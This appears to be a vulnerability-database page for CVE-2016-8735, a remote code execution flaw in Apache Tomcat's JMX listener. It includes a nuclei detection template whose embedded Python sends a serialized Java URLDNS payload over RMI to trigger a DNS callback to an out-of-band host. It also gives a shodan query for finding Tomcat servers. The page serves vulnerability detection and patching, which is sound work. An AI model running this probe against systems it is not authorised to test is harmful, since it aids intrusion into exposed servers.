HexBrain

Browse / CVEs / CVE-2016-8735

CVE-2016-8735· apache / tomcat

Apache Tomcat - Remote Code Execution via JMX Ports

Exploited in the wild. Listed by CISA on 2023-05-12; known to be used by ransomware.

criticalseverity
9.8CVSS score
90.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.

Impact

Attackers with network access can execute arbitrary commands remotely without authentication by exploiting the exposed unauthenticated Tomcat manager, achieving complete server compromise.

Fix

Restrict access to the Tomcat manager interface, enable authentication, and upgrade to a patched version of Apache Tomcat.

How to confirm it

Positive when: contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572") and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2016-8735 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2016-8735

info:
  name: Apache Tomcat - Remote Code Execution via JMX Ports
  author: hnd3884
  severity: critical
  description: |
    Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
  impact: |
    Attackers with network access can execute arbitrary commands remotely without authentication by exploiting the exposed unauthenticated Tomcat manager, achieving complete server compromise.
  remediation: |
    Restrict access to the Tomcat manager interface, enable authentication, and upgrade to a patched version of Apache Tomcat.
  reference:
    - https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0
    - https://nvd.nist.gov/vuln/detail/cve-2016-8735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
    epss-score: 0.90338
    epss-percentile: 0.99801
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
    vendor: apache
    product: tomcat
  tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln

variables:
  OAST: "{{interactsh-url}}"
  HOST: "{{Host}}"
  RMI_REGISTRY_PORT: "{{Port}}"

code:
  - engine:
      - py
      - python3
    source: |
      import socket
      import os

      OAST, HOST, PORT = os.getenv('OAST'), os.getenv('HOST'), int(os.getenv('RMI_REGISTRY_PORT'))

      ### Initialize socket and connect to RMI server, Locate "UnicastRef2" and extract rmiServerPort ###
      s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s1.connect((HOST, PORT))
      s1.send(bytes.fromhex("4a524d4900024b"));s1.recv(4096)
      s1.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
      s1.send(bytes.fromhex("50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf7400066a6d78726d69"))
      response = s1.recv(4096)

      following_bytes = response[response.find(b"UnicastRef2") + len("UnicastRef2") + 1:]
      rmiServerPort = int(following_bytes[:2].hex(), 16)
      rmiServerPort = int(following_bytes[2:][rmiServerPort + 1:rmiServerPort + 4].hex(), 16)

      ### Exploit rmiServerPort ###
      s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s2.connect((HOST, rmiServerPort))
      s2.send(bytes.fromhex("4a524d4900024b"));s2.recv(4096)
      s2.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
      s2.send(bytes.fromhex("50aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078702d4f7f1ffa7877b4737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000192f5ff701a9cb3f67477088000000000000000737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008f1c6fcc113e4dd097371007e0005800100000192f6835b0fb632f8a1"))

      # URLDNS payload to detect unsafe deserialization
      hex4 = "50aced000577222191ba09e57952f396b68ddb00000193151cdd268001fffffffff0e074eaad0caea8737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e0003707870ffffffffffffffff74002a6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e74000071007e00057400056874747073707874003268747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e78"

      ind = hex4.find('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
      hex4 = hex4[:ind-2] + hex(len(OAST))[2:] + hex4[ind:]
      ind = hex4.find('68747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
      hex4 = (hex4[:ind-2] + hex(len('https://'+OAST))[2:] + hex4[ind:]).replace('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e', OAST.encode().hex())

      # Send serialized payload
      s2.send(bytes.fromhex(hex4))
      response = s2.recv(4096)
      response = s2.recv(4096)

      s2.close()
      print(response.hex())

    matchers:
      - type: dsl
        dsl:
          # Check "Credentials should be String[] instead of java.util.HashMapur" in last response
          - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from